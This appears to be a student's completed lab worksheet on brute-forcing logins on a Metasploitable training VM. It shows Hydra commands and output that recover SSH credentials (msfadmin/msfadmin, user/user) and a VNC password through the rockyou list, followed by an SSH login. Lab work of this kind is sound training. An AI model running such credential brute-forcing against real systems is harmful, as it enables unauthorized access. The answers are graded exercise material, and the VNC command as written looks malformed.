

What is the IP of your metasploitable target?

- 192.168.85.132

On which port is SSH running?

22

```
(root@kali)~# hydra -L users.txt -P pwd.txt 192.168.85.132 -t 4 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purpose
s (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-09 22:09:23
[DATA] max 4 tasks per 1 server, overall 4 tasks, 48 login tries (l:6/p:8), ~12 tries per task
[DATA] attacking ssh://192.168.85.132:22/

[22][ssh] host: 192.168.85.132 login: msfadmin password: msfadmin
[22][ssh] host: 192.168.85.132 login: user password: user
[STATUS] 36.00 tries/min, 36 tries in 00:01h, 12 to do in 00:01h, 4 active
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-09 22:10:53

(root@kali)~# ssh msfadmin@192.168.85.132
msfadmin@192.168.85.132's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sat Dec 9 21:33:04 2023
msfadmin@metasploitable:~$
```

On which port is VNC running?

5900

Use Hydra to find a valid password for VNC using the rockyou text list.

What is the command you used to run hydra?

hydra -l -P rockyou.txt -e ns vnc://192.168.85.132

What is the password to connect with VNC?

password